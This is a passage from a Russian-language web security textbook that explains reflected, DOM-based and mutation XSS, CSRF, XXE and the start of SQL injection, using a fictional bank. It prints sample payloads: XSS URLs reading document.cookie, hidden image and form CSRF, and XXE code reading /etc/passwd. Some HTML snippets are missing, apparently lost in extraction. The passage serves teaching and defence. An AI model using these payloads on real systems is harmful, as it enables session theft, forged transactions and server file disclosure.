Внезапно окажется, что сгенерированный нами URL действительно выделил
жирным шрифтом фрагмент заголовка на странице результатов. Значит, можно
попробовать включить в параметры запроса сценарий: support.mega-bank.com/se
arch?query=open+alert(test);checking+account.

158  Глава 10. Межсайтовый скриптинг (XSS)

При открытии этого URL-адреса загружаются не только результаты поиска, но
и окно оповещения со словом test.
Итак, мы обнаружили XSS-уязвимость, но на этот раз на сервере ничего сохраняться не будет. Сервер прочитает наш код и отправит его клиенту. Такую
XSS-уязвимость называют отраженной.
При обсуждении хранимого XSS я упоминал, что этот тип атаки позволяет
поразить множество пользователей, но при этом вредоносный код легко обнаруживается, поскольку хранится на стороне сервера.
Обнаружить отраженный XSS гораздо сложнее, так как атаки этого типа нацелены непосредственно на пользователя и никогда не сохраняются в базе данных.
В нашем примере мы создаем вредоносную ссылку, чтобы отправить ее пользователю, которого хотим атаковать. Это можно сделать по электронной почте,
с помощью рекламы в интернете и многими другими способами.
Кроме того, наш отраженный XSS легко замаскировать под реальную ссылку.
Например, рассмотрим вот такой фрагмент HTML-кода:
Добро пожаловать на сайт MegaBank Fans!
Главный источник информации и ссылок от службы поддержки MegaBank.
Стать новым клиентом
Смотреть рекламные предложения
Создать новый счет

На этой странице три ссылки, две из которых реальные. А вот последняя («Создать новый счет») перебросит пользователя на страницу поддержки. Окно
диалога, вызываемое методом alert(), как бы намекает, что происходит что-то
необычное. И, как и в примере с хранимым XSS, можно легко запустить какойто код в фоновом режиме.
Возможно, мы сможем добыть достаточно личной информации и выдать себя
за клиента банка. Или узнать проверочное число/маршрутный номер, если он
присутствует в пользовательском интерфейсе портала поддержки.
Такой отраженный XSS использует URL-адрес, что упрощает распространение
атаки злоумышленником. Большинство отраженных XSS-атак требует дополнительных действий от конечного пользователя, таких как вставка JavaScript
в веб-форму. Так что можно уверенно утверждать, что отраженный XSS намного
хуже обнаруживается, но его труднее распространить среди широкого круга
пользователей.

Отраженный XSS  159

XSS-атака на базе DOM
Последняя из трех основных категорий XSS-атаки — XSS на базе DOM. Ее
схему демонстрирует рис. 10.3. Это может быть вариант как хранимой, так
и отраженной XSS-атаки, но для выполнения требуются источник и приемник
в DOM браузера. Из-за различий в реализациях DOM некоторые браузеры
оказываются уязвимыми, некоторые — нет. Такую XSS-уязвимость гораздо
труднее найти и использовать, поскольку для этого требуются глубокие знания
DOM и JavaScript.
Веб-страница дает пользователю 1 переключаться
между фильтрами, хранимыми в свойстве window.location.hash

Перестройка DOM с помощью DOMParser.parseFromString(),
результат форматируется и добавляется в с заголовком,
отражающим выбранный фильтр

Пользователь 1 вручную меняет параметр hash,
чтобы добавить сценарий

В модель DOM добавляется новый узел script
и присоединяется к телу страницы

При загрузке страницы выполняется узел сценария

Рис. 10.3. XSS на базе DOM
В отличие от других форм-XSS для атаки через DOM никогда не требуется
взаимодействия с сервером. Поэтому есть тенденция причислять этот тип атаки
к новой категории, называемой XSS на стороне клиента.
Поскольку для XSS через DOM не требуется никаких действий на сервере,
в DOM браузера должны присутствовать «источник» и «приемник». В роли
источника, как правило, выступает объект DOM, способный хранить текст,
а приемником служит DOM API, способный выполнять сохраненный в виде
текста сценарий. Поскольку XSS-атака через DOM не связана с сервером, ее

160  Глава 10. Межсайтовый скриптинг (XSS)

практически невозможно обнаружить с помощью инструментов статического
анализа или других популярных сканеров.
Ситуация с атакой этого типа осложняется наличием множества браузеров.
Бывает, что в реализации DOM для одного браузера есть ошибка, а для другого
ее нет.
То же самое можно сказать о версиях браузеров. Версия 2015 года может иметь
уязвимость, в то время как в современном браузере она уже устранена. Осуществить XSS-атаку через DOM, если компания пытается поддерживать множество
браузеров, сложно без информации о браузере/ОС. В основу как JavaScript, так
и DOM положены открытые спецификации (TC39 и WhatWG), но реализации
каждого браузера значительно отличаются друг от друга. Также часто имеются
отличия от устройства к устройству. Давайте рассмотрим эту уязвимость на
примере нашего приложения mega-bank.com.
По адресу invest.mega-bank.com банк предлагает инвестиционный портал для
управления накопительным пенсионным счетом. На странице investors.megabank.com/listing есть список фондов, куда можно инвестировать средства. Меню
слева позволяет осуществлять поиск и фильтрацию фондов.
Количество фондов ограничено, поэтому поиск и сортировка происходят на
стороне клиента. Поиск по запросу oil («нефть») изменит URL-адрес этой
страницы на investors.mega-bank.com/listing? search=oil. Аналогично фильтр usa
(«США») для просмотра только американских фондов сгенерирует URLадрес invest.mega-bank.com/listing#usa и автоматически прокрутит страницу до
нужного списка.
Теперь важно отметить, что изменение URL-адреса не всегда означает запрос
к серверу. Такая ситуация не редкость в современных веб-приложениях, использующих собственные маршрутизаторы на основе JavaScript для улучшения
взаимодействия с пользователем.
На этом сайте ввод вредоносного поискового запроса не приведет к каким-либо
интересным результатам. Но важно отметить, что такие параметры запроса, как
search, могут быть источником XSS-уязвимости через DOM. Их можно найти
во всех основных браузерах через свойство window.location.search.
Точно так же в DOM можно найти якорь через свойство window.location.
hash. То есть внедрение вредоносного кода возможно как в параметр поискового ­запроса, так и в якорь. Но никаких проблем при этом не возникнет,
если только какой-то фрагмент кода на странице не вызовет выполнение
сценария. Именно поэтому для успеха такой атаки необходим как источник,
так и приемник.

XSS-атака на базе DOM  161

Представим, что у MegaBank на этой же странице есть следующий код:
/*
* Извлекаем из URL-адреса объект #.
* Ищем все совпадения при помощи функции findNumberOfMatches(),
* передавая в нее значение параметра hash.
*/
const hash = document.location.hash;
const funds = [];
const nMatches = findNumberOfMatches(funds, hash);
/*
* Записываем количество совпадений и добавляем к DOM
* значение hash, чтобы улучшить пользовательский опыт.
*/
document.write(nMatches + ' matches found for ' + hash);

Здесь значение источника (window.location.hash) используется для генерации
текста, который будет показан пользователю. Отображение текста осуществляется через приемник (document.write). Возможны и другие варианты приемников,
некоторые из них использовать проще, некоторые сложнее.
Представьте, что мы создали вот такую ссылку:
investors.mega-bank.com/listing#alert(document.cookie);

Метод document.write() исполнит значение якоря как сценарий. В рассматриваемом случае это приведет всего лишь к отображению файлов cookie текущего
сеанса, но, как мы видели в прошлых примерах XSS-атаки, таким способом
можно нанести много вреда.
Как видите, в этом примере для межсайтового скриптинга не нужен был сервер,
зато были необходимы источник (window.location.hash) и приемник (document.
write). Если внедрить таким способом допустимую строку, никаких проблем
не будет, и внедрение может оставаться незамеченным в течение очень долгого
времени.

XSS с мутациями
Несколько лет назад мой друг и коллега Марио Хейдерих (Mario Heiderich)
опубликовал статью «mXSS Attacks: Attacking well-secured Web-Applications
by using innerHTML Mutations». Этот документ одним из первых предложил ­новую вариацию XSS-атаки: XSS с мутациями (mutation-based XSS,
mXSS).

162  Глава 10. Межсайтовый скриптинг (XSS)

На сегодняшний день такие атаки возможны во всех основных браузерах. Для их
реализации требуется глубокое понимание методов, с помощью которых браузер
выполняет оптимизацию, и условных конструкций, которые используются для
отображения узлов DOM.
В прошлом XSS-атаки на основе мутаций не были широко известны
и понятны. Аналогичным образом в будущем могут появиться другие технологии, уязвимые к XSS.
Такие атаки могут быть нацелены на любую технологию отображения на стороне клиента. Обычно они ориентированы на браузер.
Соответственно, уязвимыми могут оказаться технологии для ПК
и мобильных устройств, использующие браузеры.

Новые и зачастую неверно понимаемые атаки mXSS тем не менее позволяют
обходить наиболее надежные доступные фильтры межсайтового скриптинга.
Такие инструменты, как DOMPurify, OWASP AntiSamy и Google Caja, можно
обмануть с помощью mXSS. В результате уязвимыми оказываются многие вебприложения (в частности, почтовые клиенты). По своей сути mXSS использует
код, который воспринимается фильтрами как безопасный, а после фильтрации
мутирует во вредоносный.
Принцип mXSS-атаки проще всего понять на практическом примере. В начале
2019 года исследователь безопасности Масато Кинугава (Masato Kinugawa)
обнаружил mXSS-уязвимость в библиотеке Closure, которая используется
службой Google Search.
В качестве фильтра эта библиотека использовала инструмент DOMPurify, который запускался на клиенте (в браузере) и читал каждую строку перед тем, как
разрешить ее вставку в элемент innerHTML. Такой способ очистки строк, которые
будут вводиться в DOM через innerHTML, считается наиболее эффективным.
Фильтрация на стороне сервера работает хуже из-за различий в реализации
браузеров и их версий.
В Google считали применение DOMPurify на стороне клиента надежным решением, одинаково работающим как в старых, так и в новых браузерах.
Масато использовал вот такой код:

Технически эта строка безопасна для DOM, поскольку теги и кавычки в ней
расставлены так, что ее добавление не приводит к запуску сценария. Соответственно, DOMPurify пропускает ее как не несущую риска XSS. Но после

XSS с мутациями  163

загрузки в DOM браузера происходит некоторая оптимизация, и код принимает
вот такой вид:
&amount=10000" width="0" height="0" border="0">

Изменение содержимого запроса GET  171

Обнаружив теги , браузер инициирует запрос GET к конечной точке src
(рис. 11.2), чтобы загрузить объекты изображений. В результате с помощью
невидимого изображения размером 0 × 0 пикселей можно инициировать CSRF
без какого-либо взаимодействия с пользователем.

Пользователь 1 публикует ,
ссылающийся на конечную точку HTTP-запроса GET

Пользователь 2 загружает картинку

От имени Пользователя 2
делается HTTP-запрос GET

Сервер обрабатывает HTTP-запрос GET
с удостоверением аутентификации на основе
cookie от Пользователя 2

Состояние сервера меняется в результате запроса
от Пользователя 2, хотя сам он об этом не знает

Рис. 11.2. CSRF IMG — внутри целевого приложения размещается тег , который при
загрузке генерирует HTTP-запрос GET
Аналогичным образом можно использовать большинство HTML-тегов, допускающих параметр URL. Рассмотрим тег HTML5 :

Внедренное видео действует так же, как и внедренное изображение. Поэтому
важно внимательно следить за любыми тегами, запрашивающими данные с сер-

172  Глава 11. Подделка межсайтовых запросов (CSRF)

вера через атрибут src. Большинство из них позволяет инициировать CSRFатаку против ничего не подозревающего конечного пользователя.

CSRF-атака на конечные точки POST
Обычно CSRF-атакам подвергаются конечные точки запроса GET, так как
осуществить межсайтовую подделку запроса проще всего через гиперссылку,
изображение или другой тег HTML, автоматически инициирующий HTTPзапрос GET.
Но ничто не мешает атаковать таким способом конечные точки запросов POST,
PUT или DELETE. Доставка вредоносного кода через запрос POST требует немного больших усилий и взаимодействия с пользователем (рис. 11.3).

Пользователь 1 создает на своем сайте
веб-форму

Пользователь 1 распространяет
эту форму по имейлу

Пользователь 2 переходит по вредоносной
ссылке, заполняет форму и отправляет данные
Формируется HTTP-запрос POST
к серверу от имени Пользователя 1
Сервер обрабатывает HTTP-запрос POST
от имени Пользователя 2
Состояние приложения меняется,
даже если внутренняя сеть доступна
только для Пользователя 2

Рис. 11.3. CSRF POST — форма отправляется на сервер, недоступный для создателя формы,
но доступный для ее отправителя

CSRF-атака на конечные точки POST  173

Обычно CSRF-атаки через запросы POST осуществляются при помощи форм,
поскольку объект — один из немногих, позволяющих инициировать запрос POST без использования какого-либо сценария.

Атрибут hidden во входных данных формы означает, что поля с этими данными
отображаться внутри браузера не будут. Чтобы ввести пользователей в заблуждение, в форму можно добавить не вызывающие подозрения поля:

В результате пользователь увидит форму входа на реально существующий сайт.
Но после ее заполнения и отправки произойдет не авторизация на этом сайте,
как предполагает пользователь, а запрос в MegaBank.
Это пример того, как с помощью допустимых HTML-компонентов можно воспользоваться текущим состоянием приложения пользователя в браузере и отправить запрос.
В рассматриваемом случае пользователь входит в MegaBank, хотя при этом он
взаимодействует с другим сайтом. А мы используем состояние его текущего
сеанса для выполнения в MegaBank операций с привилегированным доступом
от его имени.
Этот метод также позволяет выполнять запросы от имени пользователя, имеющего доступ к внутренней сети. Создатель формы не имеет на это права, но если
пользователь, находящийся во внутренней сети, заполнит и отправит форму,
запрос станет возможным благодаря его привилегированному доступу.
Естественно, CSRF-атака через метод POST более сложна, чем подделка запроса
GET с помощью тега . Но если у вас возникла необходимость сделать
запрос к конечной точке POST с повышенными правами, проще всего это осуществить с помощью формы.

174  Глава 11. Подделка межсайтовых запросов (CSRF)

Итоги
Межсайтовая подделка запросов эксплуатирует доверительные отношения
между браузером, пользователем и веб-сервером/API. По умолчанию браузер
полагает, что все действия на устройстве пользователя выполняются от имени
этого пользователя.
В случае CSRF это утверждение отчасти истинно, потому что действие инициируется пользователем, просто он не понимает, что при этом происходит. При
щелчке на ссылке браузер инициирует от его имени HTTP-запрос GET независимо от источника этой ссылки. Доверие к ссылке приводит к тому, что вместе
с запросом GET отправляются данные для аутентификации.
По своей сути, CSRF-атаки функционируют благодаря модели доверия, разработанной комитетами по стандартам браузеров, такими как WhatWG. Возможно,
в будущем эти стандарты изменятся, что затруднит межсайтовую подделку запросов. Но пока эти атаки распространены в Сети и легко осуществимы.

ГЛАВА 12

Атака на внешние сущности XML (XXE)

Атака на внешние сущности XML-документа (XML External Entity, XXE) во
многих случаях легко осуществима и приводит к разрушительным последствиям.
Уязвимость, благодаря которой она становится возможной, связана с неправильной настройкой анализатора XML в коде приложения.
Вообще-то почти все XXE-уязвимости обнаруживаются, когда конечная точка
API принимает данные в формате XML (или подобном ему). Вам может казаться, что конечные точки, принимающие XML, встречаются редко, но к XMLподобным форматам относятся SVG, HTML/DOM, PDF (XFDF) и RTF. Они
имеют много общего со спецификацией XML, и в результате многие анализаторы
XML также принимают их в качестве входных данных.
Спецификация XML позволяет подключать к документу дополнительные
компоненты — так называемые внешние сущности. Если XML-анализатор не
проводит соответствующую проверку, он может просто загрузить внешнюю
сущность и подключить к содержимому XML-документа и таким образом
скомпрометировать файлы в файловой структуре сервера.
Атака на внешние сущности XML часто используется для компрометации файлов
от других пользователей или для доступа к таким файлам, как /etc/shadow, где
хранятся учетные данные, необходимые для правильной работы Unix-сервера.

Атака напрямую
При прямой XXE-атаке объект XML отправляется на сервер под видом внешней
сущности. После его анализа возвращается результат, включающий внешнюю
сущность (рис. 12.1).

176  Глава 12. Атака на внешние сущности XML (XXE)

Пользователь 1 отправляет на конечную
точку сервера данные в формате XML

Данные обрабатываются
XML-анализатором

Данные опознаются как внешняя
сущность, и в результат включается
файл с сервера

Пользователю 1 возвращается
локальный файл с сервера вместе
с результатами запроса

Рис. 12.1. Прямая XXE-атака
Представим, что mega-bank.com предоставляет утилиту для создания скриншотов, позволяющую отправлять их непосредственно в службу поддержки.
На стороне клиента эта функциональность выглядит так:

Send Screenshot to Support
/*
* Собираем HTML DOM из элемента `content` и XML-анализатором
* преобразуем текст DOM в формат XML.
*
* По HTTP передаем этот XML в функцию, которая сгенерирует из
* присланного XML скриншот.
*
* Скриншот отправляется в службу поддержки для анализа.
*/
const screenshot = function() {

Атака напрямую  177

try {
/*
* Пытаемся преобразовать элемент `content` в формат XML.
* При неудаче происходит переход к блоку Catch, но обычно все
* получается, потому что HTML — это разновидность XML.
*/
const div = document.getElementById('content').innerHTML;
const serializer = new XMLSerializer();
const dom = serializer.serializeToString(div);
/*
* После преобразования DOM в XML генерируем запрос
* к конечной точке, которая преобразует XML в изображение.
* В результате получим скриншот.
*/
const xhr = new XMLHttpRequest();
const url = 'https://util.mega-bank.com/screenshot';
const data = new FormData();
data.append('dom', dom);
/*
* Если преобразование XML в image прошло успешно,
* отправляем скриншот в службу поддержки.
*
* В противном случае сообщаем пользователю о неудаче.
*/
xhr.onreadystatechange = function() {
sendScreenshotToSupport(xhr.responseText, (err) => {
if (err) { alert('невозможно отправить скриншот.') }
else { alert('скриншот отправлен!'); }
});
}
xhr.send(data);
} catch (e) {
/*
* Уведомляем пользователя, что его браузер не поддерживает
* эту функциональность.
*/
alert(Ваш браузер не поддерживает эту функциональность. Требуется
обновление.
);
}
};

Под «этой функциональностью» подразумевается очень простая вещь: пользователь нажимает кнопку и создает снимок экрана, который отправляется
в службу поддержки.

178  Глава 12. Атака на внешние сущности XML (XXE)

С программной точки зрения это тоже не слишком сложно:
1. Браузер преобразует то, что текущий пользователь видит на экране (через DOM) в XML.
2. Этот XML браузер передает в службу, которая преобразует его в JPG.
3. Через другой API браузер отправляет файл JPG сотруднику службы
поддержки MegaBank.
Есть несколько моментов, которые хотелось бы отметить по поводу этого
кода. Например, функцию sendScreenshotToSupport() можно вызывать самостоятельно для наших собственных изображений. Проверить допустимость
содержимого в случае картинки сложнее, чем в случае XML. И хотя преобразовать XML в изображения легко, при обратном преобразовании происходит
потеря контекста.
На стороне сервера маршрут с именем screenshot соотносится с запросом из
нашего браузера:
import xmltojpg from './xmltojpg';
/*
* Преобразуем XML-объект в изображение JPG.
*
* Возвращаем изображение автору запроса.
*/
app.post('/screenshot', function(req, res) {
if (!req.body.dom) { return res.sendStatus(400); }
xmltojpg.convert(req.body.dom)
.then((err, jpg) => {
if (err) { return res.sendStatus(400); }
return res.send(jpg);
});
});

Преобразуемый в формат JPG файл XML должен пройти через XML-анализатор.
Причем этот анализатор должен соответствовать спецификации XML.
Наш клиент отправляет на сервер обычный набор кода HTML/DOM, преобразованный в формат XML для облегчения процесса анализа. При обычной
работе мало шансов, что этот код когда-либо будет представлять какую-либо
опасность.
Но отправленные клиентом данные DOM может изменить технически подкованный пользователь. В качестве альтернативы можно просто подделать сетевой
запрос и отправить на сервер, например, вот такой код:

Атака напрямую  179

import utilAPI from './utilAPI';
/*
* Генерируем новый XML HTTP-запрос к API утилиты XML -> JPG.
*/
const xhr = new XMLHttpRequest();
xhr.open('POST', utilAPI.url + '/screenshot');
xhr.setRequestHeader('Content-Type', 'application/xml');
/*
* Предоставляем созданную вручную XML-строку, использующую
* функциональность внешних сущностей во многих XML-анализаторах.
*/
const rawXMLString = `]>&xxe;`;
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
// здесь нужно проверить полученный ответ
}
}
/*
* Отправляем запрос к конечной точке API утилиты XML -> JPG.
*/
xhr.send(rawXMLString);

После получения такого запроса анализатор сервера проверяет XML и возвращает нам изображение (JPG). Если синтаксический анализатор XML явно
не отключает внешние сущности, мы увидим на присланном снимке экрана
содержимое текстового файла /etc/passwd.

Непрямая XXE-атака
В случае непрямой XXE-атаки сервер генерирует XML-объект в ответ на присланный запрос. В него включаются параметры, предоставленные пользователем, и потенциально это может привести к включению параметра внешней
сущности (рис. 12.2).
Иногда XXE-атаку можно нацелить на конечную точку, напрямую не работающую с отправленным пользователем XML-объектом.
В случае API, принимающего в качестве параметра XML-подобный объект,
первым делом имеет смысл проверить его на XXE-уязвимость. Тот факт, что
API не принимает в запросах объекты XML, не означает, что там не применяется
XML-анализатор.

180  Глава 12. Атака на внешние сущности XML (XXE)

Пользователь 1 отправляет код, содержащий
внешние сущности, как параметр сервера
Сервер генерирует XML-файл, интегрируя
в него присланные параметры
XML-данные обрабатываются
XML-анализатором
Присланные данные опознаются как
внешняя сущность, и в результат анализа
включается файл с сервера
Пользователю 1 возвращается
локальный файл с сервера вместе
с результатами запроса

Рис. 12.2. Непрямая XXE-атака
Представим приложение, которое запрашивает у пользователя только один
параметр через конечную точку REST API. Приложение предназначено для
синхронизации этого параметра с программным пакетом CRM-системы, которым уже пользуется фирма.
Для своего API программа CRM может ожидать информацию в формате XML.
Это означает, что несмотря на заявления о непринятии такого формата, для
корректного взаимодействия сервера с программным пакетом CRM присылаемые пользователем данные должны быть преобразованы в объект XML через
REST-сервер, а затем отправлены в пакет софта CRM.
Часто эти операции происходят в фоновом режиме, и со стороны сложно определить, что данные в формате XML вообще используются. И так бывает достаточно
часто. Так как корпоративное ПО не монолитно, а носит модульный характер,
часто бывает так, что API-интерфейсы JSON/REST должны взаимодействовать
с API XML/SOAP. Кроме того, одновременно используется как современное,
так и унаследованное ПО, в результате чего часто появляются большие дыры
в безопасности.
В предыдущем примере присланные нами данные преобразовывались сервером
в формат XML перед отправкой в ​​другую программную систему. Но как снаружи
понять, что это происходит?

Непрямая XXE-атака  181

Один из способов — изучение компании, чье веб-приложение вы тестируете.
Нужно определить, какие у них есть лицензионные соглашения для крупных
предприятий. Иногда такая информация открыта для публики.
Также можно заглянуть на другие сайты этой компании и проверить, представлены ли какие-либо данные через отдельную систему или сторонний URLадрес. Кроме того, многие старые пакеты корпоративного софта — от CRM до
бухгалтерского учета или управления персоналом — имеют ограничения по
структуре хранимых данных. Если узнать, данные какого типа ожидаются этими интегрированными программными пакетами, можно будет сделать вывод,
что они используются общедоступным API, если он ожидает нехарактерного
форматирования данных перед их отправкой.

Итоги
Понять, как осуществляется XXE-атака, и провести ее в большинстве случаев
несложно. Эти атаки заслуживают упоминания, потому что они удивительно
мощны и могут поставить под угрозу весь веб-сервер, не говоря уже о работающем поверх него веб-приложении.
Атаки XXE возможны благодаря существованию недостаточно защищенного
стандарта, который, тем не менее, широко используется в интернете. Предотвратить XXE-атаки на синтаксические анализаторы несложно. Иногда всего одна
строка в конфигурации убирает возможность ссылаться на внешние сущности.
При этом атаки этого типа всегда следует пробовать против новых приложений,
поскольку одна недостающая строка в настройках XML-анализаторе открывает
двери перед хакером.

ГЛАВА 13

Внедрение кода

Один из наиболее широко известных типов атаки на веб-приложения — это
внедрение SQL-кода. Как легко понять по названию, это вставка в базу данных
SQL-кода, позволяющего подставить в SQL-запрос собственные параметры или
заменить существующий запрос собственным. В результате, как правило, это
приводит к компрометации базы данных из-за повышения предоставленных
по умолчанию полномочий.
Разумеется, внедрять можно не только SQL-код. Для внедрения требуются два
основных компонента: код от пользователя и интерпретатор, считывающий
его каким-то образом. Соответственно, атаки такого типа могут проводиться
как против баз данных, так и, к примеру, против утилит командной строки
вроде FFMPEG (компрессор видео). В этой главе мы рассмотрим несколько
видов внедрения, чтобы наглядно продемонстрировать, какой тип архитектуры
приложения делает такие атаки возможными и как сформировать и доставить
вредоносный код в уязвимый API.

Внедрение SQL-кода
Наиболее классическая форма внедрения — это внедрение SQL-кода (рис. 13.1).
Строка SQL экранируется внутри HTTP-запроса, что дает возможность выполнить от имени пользователя нужный SQL-запрос.
Традиционно многие пакеты ПО с открытым исходным кодом созданы с помощью комбинации PHP и SQL (часто MySQL). Зачастую уязвимости, делающие
возможным внедрение SQL-кода, возникали в результате безответственного
подхода к симбиозу между представлениями, логикой и кодом. Разработчики
PHP старой школы включали в свои файлы комбинацию SQL, HTML и PHP.

Внедрение SQL-кода  183

Эта допустимая в PHP организационная модель при некорректной реализации
приводила к огромному количеству уязвимого PHP-кода.
Пользователь отправляет в конечную точку
API SQL-код с escape-символами

Конечная точка делает запрос к БД
на основе пользовательского ввода

Интерпретатор SQL удалось обмануть:
присланный SQL-запрос запущен, пользователь
меняется на «администратора»

Неважно, видит ли пользователь результат:
запрос запущен и причинил вред

Рис. 13.1. Внедрение SQL-кода
Рассмотрим пример кода PHP старой школы ПО для форума. Этот код дает
пользователю войти в систему: